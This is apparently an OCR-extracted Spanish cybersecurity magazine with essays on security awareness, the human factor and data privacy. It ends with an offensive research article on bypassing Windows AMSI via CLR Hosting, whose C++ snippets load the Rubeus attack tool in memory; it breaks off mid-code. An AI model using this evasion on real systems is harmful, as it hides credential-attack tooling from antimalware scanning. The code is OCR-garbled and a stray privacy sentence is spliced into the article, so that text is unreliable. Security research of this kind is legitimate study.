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La clave esta en el factor humano

Por Francisco Javier Garcia Lorente

Durante los ultimos afios se han podido observar diferentes ataques a organizaciones que son
realmente complejos y practicamente inevitables, pero también, he podido analizar que la mayoria de los

ataques que han recibido organizaciones de todo el mundo son mucho menos sofisticados y que los
cibercriminales se aprovechan de los descuidos o negligencias que puedan cometer los empleados en su
dia a dia, pero también se aprovechan de nuestro factor humano.

Nos aferramos en disponer de buenas medidas de seguridad, tener firewalls sofisticados para impedir
amenazas internas, instalacion de antivirus y antimalware que detecten y eliminen posibles amenazas,
monitorizacion 24x7, etc. Pero todo esto, es como empezar una casa por el tejado, porque hasta que nos
dominen las maquinas, el factor humano estara presente en todo momento, ya sea gestionando el
antivirus, creando reglas en el SIEM, etc. Por lo tanto, debemos tener presente que todo empieza desde los
empleados, debemos procurar asentar muy bien los cimientos.

Hay diversos informes que muestran diferentes porcentajes de ataques que han sido causados por un

error humano no intencionado, la media de los informes consultados esta entorno a un 80%. Es por ello,
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Si sabemos que ese porcentaje es tan alto, ¢ Por qué las organizaciones no invierten en reforzar a sus
empleados y dotarles de las armas necesarias para evitarlo, dado que estan en primera linea de una batalla
constante?

Obviamente, claro que se tienen planes formativos, pero ¢ estos planes son efectivos? ¢ O simplemente el
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una auditoria? Lamentablemente, asi es, no nos centramos en el verdadero problema que es cambiar el
comportamiento errdneo de los empleados, sino que intentamos decirle lo que no deben hacer y ahi es

donde los planes formativos fracasan.

Cambiando el comportamiento

Durante estos ultimos afios, nos hemos fijado en los comportamientos de los empleados, quizas un

ejemplo muy claro se producia con las contrasefas, que se apuntaban (y ahora todavia hay empleados que
lo siguen haciendo) en un post -it y claro no bastaba con indicarle a esos empleados que era una mala
praxis, sino que tenias que revertir esa situacion y obviamente si tenia esa costumbre, era bastante
complicado, porque nos guste 0 no somos seres humanos y que una vez nos acostumbramos a una serie
de habitos, nos hacemos asiduos a ellos de manera automatica, mecanica y sin pensar en ello.

Por ello, empezamos a trabajar con el concepto de lo familiar, de lo tradicional, introduciendo en nuestros
planes formativos de que, si eres ciberseguro en casa, también debes serlo en el trabajo y viceversa. De
esta manera, conseguimos ser mas cercanos con los empleados y trasladarles con ejemplos cotidianos que
afectan a los nifios, familiares de avanzada edad, dispositivos conectados en casa, etc. las técnicas que los
cibercriminales usan para conseguir sus objetivos, y una vez que teniamos su atencion le trasladabamos al
entorno empresarial esos mismos ejemplos, y ellos mismos se daban cuenta que pese a ser entornos
diferentes los ciberdelincuentes no hacen distincién, para ellos somos una persona mas a la que atacar.
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https://www.linkedin.com/in/franjgarlo/

Adicionalmente, el tener la oportunidad de realizar un acercamiento de las técnicas o medidas que los
ciberdelincuentes usan para engafiarnos y obtener informacién de nosotros, siempre de una forma
entendible y facil de entender sin entrar en los conceptos técnicos, pero si en los peligros que ello
conlleva, hacen que afloren muchas dudas que tienen poniéndote en diferentes casuisticas de su dia a
dia y de cdmo pueden protegerse ante las amenazas

Por ello, valoramos muy positivamente las experiencias que hacemos en presencial porque es donde
realmente conseguimos un cambio en los comportamientos de los usuarios, cuando ven lo sencillo que
€S a veces conseguir que un ataque tenga éxito, es cuando mas transciende y quieren protegerse.

En conclusion, aunque implementemos medidas técnicas avanzadas en nuestras organizaciones, la
mayoria de los ataques se deben a descuidos o errores humanos, por lo que no debemos perder el foco
en el factor humano y hacerles conscientes de todos los peligros de una forma sencilla y cercana para
poder conseguir un cambio efectivo en sus comportamientos y de esta manera aumentar sus
capacidades para enfrentarse a cualquier amenaza que atente contra su seguridad digital.

Suscribete a RADAR

Francisco Javier Garcia Lorente
Cybersecurity Manager




El laberinto digital: navegando entre la privacidad y la proteccion
de datos

Cibercronica por Pablo Diaz y Alvaro Vela

La privacidad en linea y la proteccidon de datos personales son temas de gran relevancia en nuestra
sociedad digital. En un mundo donde la informacién fluye libremente a través de internet, la seguridad
de nuestros datos se ha convertido en una preocupacion central para usuarios y empresas por igual. En

el mundo actual, donde cada clic deja una huella digital, el dilema entre compartir informacion y
proteger la intimidad se vuelve cada vez mas complejo.

La privacidad en linea se refiere a la capacidad de controlar la informacién que compartimos en
internet y cémo esta se utiliza y distribuye. Es un derecho que permite a los individuos mantener su
autonomia y libertad en el espacio digital. La proteccion de datos personales, por otro lado, se enfoca
en las medidas y politicas que aseguran que nuestra informacion personal se maneje de manera
segura y confidencial.

Un ejemplo notorio de la importancia de la privacidad en linea es el escandalo de Cambridge Analytica
en 2018, donde se reveld que la empresa habia recopilado datos de millones de usuarios de Facebook

sin su consentimiento para influir en elecciones politicas. Este caso puso de manifiesto las

consecuencias de una gestion inadecuada de la privacidad y la necesidad de regulaciones mas

estrictas.

La Unién Europea han dado pasos significativos en este sentido con la implementacion del

Reglamento General de Proteccion de Datos (GDPR) en 2016 (aunque se aplica desde mayo de 2018),
gque establece un marco legal para garantizar que los datos personales de los ciudadanos de la UE se
procesen de manera transparente y segura. Sin embargo, la aplicacion global de tales regulaciones
sigue siendo un desafio, especialmente en regiones donde la proteccién de datos no es una prioridad.
Organizaciones como la Agencia Espafiola de Proteccion de Datos (AEPD) y el Instituto Nacional de
Ciberseguridad (INCIBE) ofrecen guias y consejos para navegar de forma segura en internet,
resaltando la importancia de tener contrasefias robustas, realizar copias de seguridad y ser cautelosos
con la informacién que compartimos en redes sociales y servicios en la nube.

Para proteger nuestra privacidad en linea, es esencial:
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La privacidad en linea y la proteccién de datos personales son fundamentales para mantener la
integridad y la confianza en el ecosistema digital. A medida que la tecnologia avanza, es imperativo
gue tanto usuarios como empresas tomen medidas proactivas para asegurar la confidencialidad y
seguridad de la informacién personal. Con la colaboracién de todos los actores involucrados vy el
apoyo de regulaciones adecuadas, podemos crear un entorno digital mas seguro y respetuoso con la
privacidad de cada individuo.




Con los 0jos de un mago

Por David Contel Miguelez

Los que nos dedicamos hace afos a la formacién dentro de las empresas, hemos vivido a través del
tiempo, como de un modo progresivo, la capacitacion continua de los empleados ha ido ganando

importancia. Esta evolucién positiva ha ido consolidando, el poder de transformacién que tiene las
personas en las organizaciones

La concienciacion en ciberseguridad esta siguiendo la misma pauta, aun en un menor lapso. Desde
la consolidacion de la ciberseguridad como un emergente campo profesional, en todo tipo de
organizaciones, se ha ido permeabilizando conceptos y practicas basicas para mejorar la seguridad
de la informacion.

Ya sea por necesidad, afectaciones en la competencia, o simplemente para cumplir un marco
normativo, las organizaciones publicas y privadas, han ido integrando equipos de profesionales
para hacer frente a los retos actuales y futuros de la ciberdelincuencia. A la practica este escenario
ha facilitado la suma de los expertos en concienciacion a otros equipos ya consolidados, como
Seguridad Operativa, Inteligencia o Gobierno.

Asi pues, para los proximos afos, uno de los retos del area de Training & Awareness, es la de
ampliar los recursos que las empresas destinan a sus servicios. Para lograr eso, los consultores
debemos seguir este mantra: Acompafar al cliente.

Los expertos en proyectos de cualquier area de ciberseguridad conocen mejor que nadie al cliente,
sus necesidades y la mejor manera de guiarlo. Podemos ofrecer mas servicios, pero en especial
mejores servicios. Creyendo en nuestras capacidades y ayudando a las empresas a evolucionar a
través de su mejor capital. Sus equipos.

¢Y cémo podemos ejercer esa guia? A lo largo de este articulo se expondran escenarios que
cualquier organizacion se encuentra a menudo. Se plantearan los argumentos y reflexiones que
pueden ayudar a todo tipo de empresas a ver por si mismos, que cualquier estrategia de seguridad
de la informacion integrada, pasa necesariamente por una maduracion de la cultura de la
ciberseguridad. Y para recorrer este camino, nos ayudara la sabiduria, del que para mucho es uno
de los mejores coach de todos los tiempos, Gandalf el blanco. Revisemos algunas de sus citas

iNo puedes pasatr!

El disefio de la seguridad perimetral es imprescindible para realizar los filtrados de los flujos de
datos entrantes y salientes. Estas herramientas y equipo son a efectos practicos una serie de
trincheras que protegen a la organizacion de numerosas amenazas. Sin embargo, la enorme
cantidad de vectores, sumado a los ataques dirigidos hace imposible que se bloqueen todos los
correos maliciosos, por lo que tarde o temprano, alguno acabara en el buzén de entrada de algun
usuario. Y esa si es la Ultima linea de defensa. La decision de la persona. Indistintamente que el
usuario disponga o no del conocimiento y la concienciacién necesaria, debera decidir a su criterio,
si finalmente accede aun enlace malicioso o entregue sus credenciales a través un phishing.
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El riesgo cero no existe. Y los profesionales de la ciberseguridad somos muy conscientes de ello.

Crear, mantener y fomentar un sistema de gestion integral de seguridad de la informacién es
clave, para la mejora directa de la seguridad, pero también permite a la empresa ser consciente de
la complejidad que supone mantenerlo y hacer de él un instrumento realmente eficaz. También los
retos técnicos a los que se enfrentan los equipos de seguridad son complejos y diversos, pero son
variables que controlamos. Cuando el factor humano entra a colacion, el sistema puede escapar a
nuestro control.

Por ello es necesario consolidar las buenas practicas de ciberseguridad de todos los usuarios. Es el
fomento de los pequefios detalles en la praxis diaria, lo que consolida los habitos ciberseguros.
Seguir una politica de mesas limpias, hacer una buena gestién de las contrasefias, tener buenos
habitos de navegacion, o parar, respirar dos veces, y ser criticos con los mensajes que se reciben,
acontecen herramienta tan Gtil como una regla de firewall, una politica bien definida o una
auditoria rigurosa.
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Una constante en nhumerosas empresas es la sobrecarga de trabajo sus usuarios, y el tiempo
efectivo que pueden dedicar a formarse en ciberseguridad. Si bien, el tiempo disponible puede ser
uno de los factores para la a ejecucién de acciones formativas, la calidad de los aprendizajes no
tiene por qué verse afectado. Con un andlisis previo de necesidades competenciales (que no
formativas) y la aplicacion de herramientas y acciones pedagdégicas adecuadas, se puede lograr una
mayor comprension de las habilidades necesarias y concienciacién de los usuarios con un tiempo
mas limitado.

Tuki nsensato MTirateMtoaMl aMpréxi maMvezMyVMIibranos\VMdelV
El cambio cultural de una organizacién es un proceso que implica una accion decidida de la
direccién y tiempo de consolidacion en todos las areas y resortes de la empresa. La reaccion
punitiva, o0 mas bien, su amenaza de ocurrencia ha solido utilizarse de un modo clasico en las
compafiias como mecanismo correctivo de las malas practicas potenciales, o recurrentes de sus
componentes.

Esta actitud casi atavica en la cultura corporativa alguna empresa debe dejarse a un lado y apostar
por un modelo mas constructivo de la gestién de los errores. Una mala practica en seguridad de la
informacion de un usuario aleatorio, puedo causar graves consecuencias econémicas y de
reputacion de la marca. Este escenario debe estar presente siempre en el inconsciente colectivo de
la organizacion. Pero también debe consolidarse la idea, que ante la sospecha de un fraude o que
una accioén tuya haya causado dafios, debe informarse de inmediato al equipo de seguridad para
poder, si el ataque ha sido efectivo, activar el plan de respuesta de incidentes, y mitigar posibles
dafios.

Es precisamente el fomento de esta cultura comunicativa y colaborativa, alejando la idea del castigo
al culpable, lo que facilita la asimilacion del compromiso de todos los empleados para unos buenos
habitos digitales. La idea es que la seguridad, depende de todos los miembros de la organizacion,
sin excepcion.

Enviad a esas bestias al abismo

El buzén de cuarentena (abisal) es un recurso técnico y efectivo del filtrado de correos.
Efectivamente es una herramienta Util para clasificar mensajes, de los que se duda de su
legitimidad. Este paso permite poner en estado de prealerta al usuario, que solo debe revisar el
correo para liberarlo. Sin embargo, la validaciéon humana del correo lleva implicito un riesgo, que
esta precisamente relacionado con las competencias en ciberseguridad de los usuarios, y como
éstas, le permiten discernir los correos fraudulentos. Asi pues, la configuracion del servidor de
correo no es una garantia que evite la posibilidad de infeccién de malware o fugas de informacion.

&Y por qué no tendrian que cumplirse? ¢No dejaras de creer en las profecias so6lo porque

ayudaste a que se cumplieran?

Hay dos tipos de organizacion, las que has sido hackeadas, y las que lo sera en algun dia. Y sin ser
victimas del positivismo I6gico, tenemos esa certeza. Transmitir esta idea a los empleados de una
empresa es clave, pero debe orientarse adecuadamente. Debe evitarse el enfoque de la profecia
autocumplida, en la que los usuarios, por inaccion deleguen la seguridad a los equipos operativos,
descuidando sus responsabilidades. Un ciberatague es un hecho habitual y cotidiano, y toda la
organizacion debe tenerlo presente.

Todos sabemos que algun dia vamos a recibir una multa de trafico, solo es cuestidn de tiempo. Pero
€s0 no hace que seamos mas imprudentes al volante, sino que vayamos con mas cuidado. Ya que,
en nuestro foro interno, aceptamos esta certeza.

Esté lloviendo, sefior Enano, y seguird lloviendo hasta que cese de llover. Si deseas cambiar el
tiempoMdeberiasVMbuscarteMotroVdmago

El gasto en ciberseguridad poco a poco ha ido cambiando de significado. Por la imparable realidad,
esta dejando de considerarse un gasto y se entiende progresivamente como una inversiéon. Un
mundo mas digitalizado, en el que el ciberdelito es organizado y sofisticado, empuja al cambio de
mentalidad de las areas de decision de la empresa. Las amenazas aumentan y evolucionan, y la
cultura de la seguridad debe hacerlo también. Lo que implica un aumento de presupuesto en
concienciacion, pero en especial, un compromiso con su despliegue en todos los procesos
operativos. Lo que a la practica implica una formacién continua de los empleados para que puedan
hacer frente a los nuevos retos en ciber -amenazas.
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Hay que evitar caer en el pensamiento en que un Controlador del Dominio es la respuesta principal
para que los usuarios actlien segun las politicas de ciberseguridad. Si bien es cierto que con una
configuracién adecuada de las restricciones en del Active  Directory , se pueden mitigar muchos riesgos,
privar de autonomia a las personas a la larga es improcedente. Abusar de estas funcionalidades puede
dificultar la evolucién de la madurez en ciberseguridad, ya que resta importancia al rol activo del
usuario, y puede crear la percepcion que evitar un ciberataque no depende cada persona.

Conclusiones

En estos momentos ya son incontables los retos en ciberseguridad a los que deberan hacer frente todo
tipo de organizaciones en los préximos afios. La progresiva sofisticacion de la ciberdelincuencia que ira
consolidando las herramientas de Inteligencia Artificial como en el disefio de vectores de ataque mas
elaborados y masivos, es solo la punta del iceberg. Que la proteccion de las organizaciones sea efectiva
dependera de la continua evaluacion de los equipos de seguridad, pero en especial de la consolidacion
de la cultura de la ciberseguridad de todos los usuarios de las organizaciones. Y en este objetivo, el
area de Training & Awareness tiene un rol absolutamente vital.

David Contel Miguelez
Cybersecurity Senior Consultant




Awareness Zz Los Catastrofistas de la Ciberseguridad

Por Leire Cubo Arce

El factor humano sigue siendo uno de los aspectos mas criticos y, a veces, vulnerables en la seguridad
cibernética. Las acciones y decisiones de las personas pueden afectar significativamente la postura de
seguridad de una organizacion, ya sea fortaleciéndola o comprometiéndola. Es por ello que la

concienciacion y la formacion son piedras angulares en la defensa contra las cada vez mas sofisticadas
amenazas cibernéticas.

Los profesionales de la formacion en Esta percepcion refleja la naturaleza siempre
ciberseguridad tenemos la tarea de educar a los cambiante y evolutiva del panorama de la

clientes sobre los riesgos cibernéticos y ciberseguridad, donde los ciberdelincuentes
capacitarlos para proteger sus datos y sistemas. constantemente desarrollan nuevas estrategias y la
Esta labor conlleva un delicado equilibrio: por un sensacion de estar constantemente un paso atras

lado, es vital destacar la gravedad de las amenazas puede generar frustracion entre los usuarios.
y las potenciales consecuencias de sufrir un ciber -

ataque; por otro lado, exagerar o enfatizar en Para evitar este desaliento es importante poner el
exceso estos peligros puede generar miedo y foco en la adopcion de habitos y comportamientos
desconfianza entre los usuarios. seguros en linea, aprender sobre medidas
preventivas y conocer los beneficios de una buena
Debido a esta fina linea, quienes nos dedicamos a higiene digital. Ademas, la educacién en
esta tarea a menudo enfrentamos una etiqueta ciberseguridad no debe ser un evento Unico, sino un
curiosa: los "catastrofistas” de la ciberseguridad. proceso continuo. Como eslabdn (que no débil, sino
Destacar los riesgos inherentes en el mundo esencial) de la cadena de la ciberseguridad, es
digital y las consecuencias catastréficas de un nuestra obligacién mantenernos informados sobre
ataque exitoso, nos coloca en una posicion las Ultimas amenazas y mejores practicas de
incémoda, vista por algunos como portadores de seguridad.
malas noticias o alarmistas. Esta percepcion,
aungue comdun, es una simplificacién de un trabajo Estamos familiarizados con las medidas preventivas
crucial y multifacético. En todas nuestras acciones para proteger nuestra casa mientras estamos de
formativas, los participantes se enfrentan viaje durante las vacaciones, pero ¢ somos
directamente a la realidad de las ciber -amenazas, conscientes de los riesgos asociados con
explorando de primera mano lo facil que puede conectarnos a redes Wi-Fi publicas de hoteles sin
ser caer en una trampa. A través de ejercicios ninguna precaucion? Ambos tipos de riesgos son
practicos y demostraciones interactivas, se ilustra reales y persistentes, por lo tanto, deberemos
la sofisticacion y la variedad de técnicas utilizadas asumir el papel de defensores de nuestra propia
por los ciberdelincuentes para engafiar a las seguridad y la de nuestras organizaciones. La
victimas y comprometer la seguridad de la seguridad cibernética es un esfuerzo colectivo y
informacion. Los formadores en ciberseguridad, a cada contribucion es esencial. Nuestro objetivo es
fin de cuentas, somos educadores, no profetas del educar de manera proactiva y entendemos que la
desastre. ciberseguridad puede resultar intimidante, pero
siempre 0s guiaremos de manera segura a través
Sin embargo, en reiteradas ocasiones, los usuarios del vasto ciber -espacio. Estamos comprometidos a
nos han expresado su inquietud por la sensacién brindar el apoyo y conocimiento necesario para que
de ansiedad y temor que experimentan al las personas se sientan seguras y confiadas en su
participar en algunas acciones formativas. Cuando capacidad para enfrentar cualquier desafio. Mas que
creen haber aprendido a defenderse de una catastrofistas, piensa en nosotros como esos amigos
amenaza especifica, surge una nueva gue siempre te recuerdan llevar paraguas incluso en
vulnerabilidad o técnica de ataque para la que no un dia soleado. Confia en nosotros, algun dia llovera
estan preparados. Esta preocupacion ha sido tan y nos lo agradeceras.

frecuente que, en tono jocoso, hemos llegado a
bromear sobre la idea de distribuir valerianas al
término de dichas sesiones.

Y es que es comprensible que los empleados
puedan experimentar cierta ansiedad al
enfrentarse al ciber -crimen. Apenas hace un afo (
seguiamos recomendando buscar errores
ortograficos en los emails para identificar ataques
de ingenieria social. Hoy, los estafadores redactan
sus mensajes fraudulentos con una gramatica
envidiable gracias a la inteligencia artificial.

Leire Cubo Arce
Cybersecurity Consultant




Nuevas tecnologias e innovaciones que desafian la privacidad de

datos
Tendencias por Carlos Barrios Bastidas y Joel Perez Pregal

Hoy en dia, los datos personales son la clave para crear aplicaciones y servicios de mejor calidad
basandose en la personalizacion del contenido. Los ultimos afios de innovacion en software y hardware
han permitido utilizar grandes conjuntos de datos de forma mas eficiente que antes, siendo realmente
impactante en cdmo se pueden personalizar las experiencias de los usuarios en todos los ambitos de la

vida digital. Los usuarios depositan una inmensa confianza en la custodia de su informacion personal y
confidencial, y es una responsabilidad que las aplicaciones y servicios deben de tomarse en serio.
Aungue cada vez existan mayores regulaciones en todo el mundo para proteger los datos de los
usuarios; ¢,como pueden las empresas hacer frente a esta doble responsabilidad de utilizar los datos
para servir mejor a sus clientes y, al mismo tiempo, garantizar que sus datos estan seguros y a salvo?

Primeramente, la privacidad de los datos se refiere al control que una persona tiene sobre su informacion
personal . Esto incluye la capacidad de decidir como las organizaciones recopilan, almacenan vy utilizan sus
datos. La proteccion de la informacion personal mediante la preservacién de la privacidad de los datos es
un derecho fundamental . Las leyes y politicas que gobiernan la recopilacion, almacenamiento,
procesamiento y comparticion de datos por parte de organizaciones e individuos se conocen como
regulaciones de privacidad de datos y su objetivo es armonizar los avances derivados de la innovacion
basada en datos con la necesidad de prevenir el mal uso o abuso de la informacién . Estas regulaciones son
diversas y cambiantes segun la regién, sector y contexto, lo que contribuye a un panorama complejo en
cuanto ala innovacion en este ambito .

La privacidad de datos por disefio es un principio que promueve integrar consideraciones de privacidad en
cada fase del proceso de innovacion, desde la concepcién hasta la ejecucion . Sefundamenta en la premisa
de que la privacidad no constituye una barrera para la innovacion, sino mas bien un estimulo para
desarrollar soluciones mas confiables, éticas y orientadas al cliente. Al adoptar la privacidad desde el
disefio, las empresas y organizaciones pueden disfrutar de:

1 Minimizar los peligros de violaciones de datos, sanciones regulatorias, dafios de la reputacion y
pérdida de clientela .

1 Aumentar el valor de sus activos de datos, productos vy servicios mediante el aseguramiento del
cumplimiento, la transparencia vy la rendicién de cuentas.

i Cultivar la confianza con sus clientes, socios y partes interesadas al demostrar respeto por sus
derechos vy preferencias en cuanto a datos.

1 Distinguirse de sus competidores ofreciendo mejoras en caracteristicas y funcionalidades
relacionadas con la privacidad .

En un mundo cada vez mas conectado, las tecnologias modernas estan redefiniendo el panorama de la
proteccion de datos. A continuacién, exploraremos algunas de estas tecnologias y su impacto en la
privacidad :

1. Inteligencia  Artificial (IA): La IA esta revolucionando la forma en que procesamos datos. Pero su uso
también plantea desafios en cuanto a privacidad . Por ejemplo, los algoritmos de IA pueden analizar
grandes cantidades de datos personales para tomar decisiones automatizadas, lo que requiere una
mayor transparencia y control por parte de los usuarios .

2. Blockchain : Aunque conocido principalmente por su aplicacion en criptomonedas, el blockchain
también se utiliza para garantizar la seguridad y la privacidad en otros contextos . Proporciona un
registro inmutable y descentralizado de transacciones, lo que puede ser beneficioso para proteger la
integridad de los datos personales .

3. Internet de las Cosas (loT) : Los dispositivos 10T recopilan datos constantemente, desde sensores en
el hogar hasta dispositivos portétiles . La privacidad se convierte en un desafio cuando estos datos se
comparten o se utilizan sin el consentimiento adecuado .

4, Edge Computing : Estatecnologia permite procesar datos cerca de la fuente, reduciendo la necesidad
de transferir grandes cantidades de informacion a la nube. Sin embargo, también plantea
preocupaciones sobre la seguridad vy la privacidad de los datos en dispositivos locales.



Bajo la deslumbrante superficie del progreso de las tecnologias mencionadas, se esconde una realidad: un
entramado de compensaciones y tensiones. Por ejemplo, la comodidad de una asistencia sanitaria
personalizada choca con el temor a un andlisis invasivo de los datos médicos. Los coches autoconducidos
gue prometen viajes mas seguros, plantean interrogantes sobre quién controla el volante y las huellas

digitales que deja el usuario.

Desvelar las capas de estas paradojas exige una mirada matizada, que considere tanto los innegables
beneficios que ofrecen las tecnologias de 10T y de inteligencia artificial como los sacrificios que a menudo
exige en materia de privacidad. Estos cuestionamientos nos obligan a enfrentarnos a incémodas verdades
gue se esconden bajo el brillante barniz de la innovacién, preguntdndonos quién se beneficia realmente del
ascenso de nuevas tecnologias y a qué coste para nuestro derecho mas fundamental: la privacidad.
Imaginemos el escenario en el que los algoritmos de inteligencia artificial analizan nuestro historial médico,
descifren codigos genéticos y detectan riesgos de enfermedades incluso antes de que aparezcan los
sintomas. Asistentes virtuales dotados de IA analizan los datos de salud diarios, sugiriendo cambios
personalizados en su estilo de vida y prediciendo posibles emergencias. Esta es la seductora promesa futura
de la sanidad, en la que los avances de la IA se convierten en un guardian que ofrece diagndsticos, planes de
tratamiento personalizados e incluso la prediccion de la salud futura. Sin embargo, bajo este progreso se
esconde la sombra de la preocupacion por la privacidad de los datos. Compartir informacion médica tan
delicada requiere una confianza inmensa, lo que nos lleva a sopesar cuidadosamente los beneficios
potenciales frente a la preocupacion de que se acceda a los datos y se utilicen.

Bajo la misma linea, en el mundo financiero, esta innovacion asume un papel de centinela vigilante,
revisando transacciones financieras impulsados por nuevas tecnologias que analizan los patrones de gasto,
anomalias en tiempo real y de actividades sospechosas. Sin embargo, este manto de seguridad financiera
tiene un costo, cada movimiento de una tarjeta, cada compra en linea contribuye a obtener un retrato
detallado de la vida financiera del usuario. Al igual que en el sector sanitario, también aqui surge el siguiente
cuestionamiento: ¢cuanto estamos dispuestos a sacrificar en términos de privacidad de datos con el
propésito de nuestra seguridad financiera y quién deberia ser el custodio de esta informacién?

Como hemos mencionado, el progreso depende de la recopilacién y analisis de grandes cantidades de datos
personales. Esto plantea algunas preocupaciones sobre la implementacion de las tecnologias de innovacion
en nuestras vidas de forma constante. Si bien el potencial de progreso de la IA y de la Big Data, sus bases se
asientan en un vasto océano de datos personales como nuestra actividad en linea, rutas de ubicacién, visitas,
etc. Esta dependencia plantea un reto en la vigilancia de datos, donde gobiernos y corporaciones pueden
utilizan estas facultades para obtener informacién sobre nuestras vidas, alimentando los temores de una
vigilancia masiva y el posible uso indebido de esta informacion. Este espectro estremece no sdélo por su
naturaleza invasiva, sino también por sus implicaciones para las libertades individuales y los posibles abusos
de poder.

Asimismo, el funcionamiento interno de estos algoritmos a menudo permanece envuelto en una gran
espesura secreta. La falta de transparencia crea un vacio inquietante: entregamos nuestros datos, pero no
entendemos bien como se utilizan, quién y con qué fines. Esta opacidad erosiona la confianza, dejando
vulnerables a los usuarios a una posible manipulacioén y explotacion.

Entonces, ¢cOmo navegamos por este complejo panorama? Lograr un equilibrio entre innovacion y
proteccion requiere un enfoque multiple. Se debe empoderar al individuo con la esencia de la propiedad y el
control de sus datos, decidiendo qué informacién se recopila, quién puede acceder a ella y con qué fines.
Este cambio de poder crea un entorno donde florece la confianza, permite participar en innovaciones con
consentimiento informado y confianza. Aun asi, la confianza requiere una transparencia que exija a los
desarrolladores vy los controladores de estos datos que cedan informacién sobre cdmo se recopilan, utilizan
y almacenan nuestros datos. Esta desmitificacion, a través de explicaciones claras y accesibles, permiten las
elecciones informadas y fomenta un sentido de asociacidn en lugar de rendicién pasiva. Bajo esta misma
linea, cabe destacar que las decisiones automatizadas podrian afectar nuestra vida por la opacidad que
fomenta el uso de algoritmos de IA en la toma de decisiones automatizadas, cuestionando los resultados
potencialmente sesgados o discriminatorios.

La paradoja de la privacidad de los datos es un desafio complejo que requiere un esfuerzo colectivo de los
individuos, los gobiernos y la industria tecnoldgica. Al priorizar la transparencia, el desarrollo ético y marcos
legales sdlidos, podemos aprovechar el poder de la IA al mismo tiempo de salvaguardar la privacidad
individual y construir un futuro donde la tecnologia empodere, mas no explote a los usuarios con sus datos.
A través del dialogo continuo, la educacion y la accion colaborativa, se podra garantizar que la innovacion y
la tecnologia florezca sobre una base de confianza y respeto por los derechos humanos, navegando por el
delicado equilibrio entre progreso y proteccion en la era actual.



En la actualidad uno de los temas que esta en auge en el marco de la investigacion de los equipos de
Ciberseguridad Ofensiva, es el desarrollo de diferentes técnicas de evasion para las diferentes contramedidas
gue se encuentran implementadas por diferentes compariias del sector. Una de estas, desarrollada por
Microsoft Windows, es la conocida como AntiMalware Scan Interface (AMSI) y es la encargada de escanear los
assemblies cargados en la memoria del sistema, asi como la ejecucién de los comandos de PowerShell. La
mayoria de las técnicas publicadas para la evasion de esta contramedida, consisten en aplicar ofuscacién para
evitar la deteccion. El objetivo comun que persiguen es la modificacién del componente AMSI o las variables
globales de Common Language Runtime (CLR) para que el resultado de la ejecucion sea no malicioso. Esto se
puede conseguir, entre otras alternativas, alterando en AmsiScanBuffer una variable global, como
amsilnitFailed, o el contexto de inicializacion de AMSI.?

Primeramente, la privacidad de los datos se refiere al control que una persona tiene sobre su
informacion . Durante la investigacion realizada la pregunta que se ha tratado de responder es, ¢existe
alguna manera de cargar un assembly en memoria y eludir el analisis de AMSI usando funciones legitimas
de .NET Framework? Es decir, sin implementar parches de memoria . El resultado obtenido, es que es
posible a partir de modificacion de la carga de assemblies usando CLRHosting

Para una mejor compresion del articulo, se puede definir CLR Hosting como una APl que permite a
lenguajes no gestionados como C++integrarse con .NET Framework, proporcionando control sobre ciertos
aspectos como la carga de assemblies, la gestidbn de recolector de basura, gestion de hilos u otros . Una de
las aplicaciones conocidas que hace uso de esto es Microsoft SQL Server, que permite a los usuarios definir
triggers , funciones y procedimientos almacenados mediante assemblies que se guardan en la propia base
de datos, facilitando su replicacién de servidor a servidor .

Por tanto, bajo el contexto definido con anterioridad, es posible modificar la carga de assemblies con las
APIs que proporciona CLRHosting y evadir AMSI, ya que al ser cargados de esta forma no se realiza ningun
andlisis. A modo de ejemplo, primero se mostrara como se hace uso de CLRHosting para ejecutar Rubeus
en memoria de forma sencilla y posteriormente mediante la modificacion de assemblies. El diagrama a
continuacion detalla el proceso :

Ejecucion de assgmbly con CLR Hosting
(sin modificar la carga de assemblies)

nJ
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Para estas pruebas se hard uso de C++como host del CLR,ya que este lenguaje ofrece facilidades en la
integracion con estas APIs. El primer paso consistirda en crear una instancia de la CLR usando
CLRCreatelnstance, usando una versidn que se especifica de .NET Framework . Esto puede observarse en el
siguiente codigo :

- %‘Yllf.\\ ) \_\\ \\\,



int main() {
ICLRMetaHostmetaHost= NULL;
CLRCreatelnstan(eéLSID_CLRMetaHpBD_ICLRMetaHos{LPVOID*)&netaHos);
ICLRRuntimelnforuntimelnfo = NULL;
metaHost>GetRuntimgL"v4.0.30319"JID_ICLRRuntimelnfdLPVOID*)&intimelnfo);
ICLRRuntimeHostruntimeHost= NULL;

runtimelnfo->Getlnterfac CLSID_CLRRuntimeHdsD_|ICLRRuntimeHast
(LPVOID*)&untimeHost);

runtimeHost->Start();

/]...

A continuacion, se hara uso de los Application Domains , siendo conjuntos de assemblies que se ejecutan de
forma aislada y que guardan cierta similitud con los procesos de un sistema operativo . Para poder hace uso
de los assemblies que se cargan dentro de un Application Domain, es necesario obtener una referencia a
uno . En este caso, se usara el por defecto, tal y como se observa:

/I Se obtiene la interfaz deAppDomain
_AppDomairt defaultAppDomain= NULL;
appDomainThunk>Queryinterfacd&defaultAppDomain;

Para poder cargar el assembly y que sea procesado por .NET Framework, se convierte un array de bytes a
un tipo de dato compatible con la API.

/I Se crealos tipos necesarios

/I para la interoperabilidad entre C++ y .NET.

std::vector<char> buffer +eadDIIFil¢R"(Rubeus.dll)"); // seomite readDIIFile
SAFEARRAYBOUND bounds[1];

bounds[0] cElements=buffer.sizg);

bounds[0]ILbound = 0;

SAFEARRAY¥safeArray= SafeArrayCreate/T_Ul1, 1, bounds);
SafeArraylLocfsafeArray);

memcpy(safeArray>pvData, buffer.data(), buffer.sizg));

SafeArraxUnIo%afeArra\b:

Posteriormente, se puede proceder con la carga y procesamiento en .NET Framework .

/I Se cargaassemblyen .NET con Load_3.
_AssemblyPtmanagedAssembly NULL;

defaultAgQDomain>Load gafeArral\‘ &managedAssembw

Una vez realizado lo anterior, se prepara la ejecucion del assembly buscando para ello la clase que contiene
la funcion MainString , en este caso Rubeus.Program . La funcion MainString es similar a Main pero toma un
String como parametro de entrada, que serian los argumentos de linea de comandos, y devuelve otro
String con los resultados .

_TypePtrmanagedType= NULL;

_bstr_t managedClassNanféRubeus.Progrart);
managedAssembhrGetType_2tanagedClassName&managedTypg

/I Se creanlos argumentos

SAFEARRAYfanagedArguments- SafeArrayCreateVect@W/T_VARIANT, 0O, 1);
_variant_t argument("currentluid");

LONG index = 0;

SafeArraxPutEIemegtnanagedArgumentg &indexI &argument)'

Finalmente, es posible llamar a la funcion comentada con anterioridad para ejecutar Rubeus e imprimir el
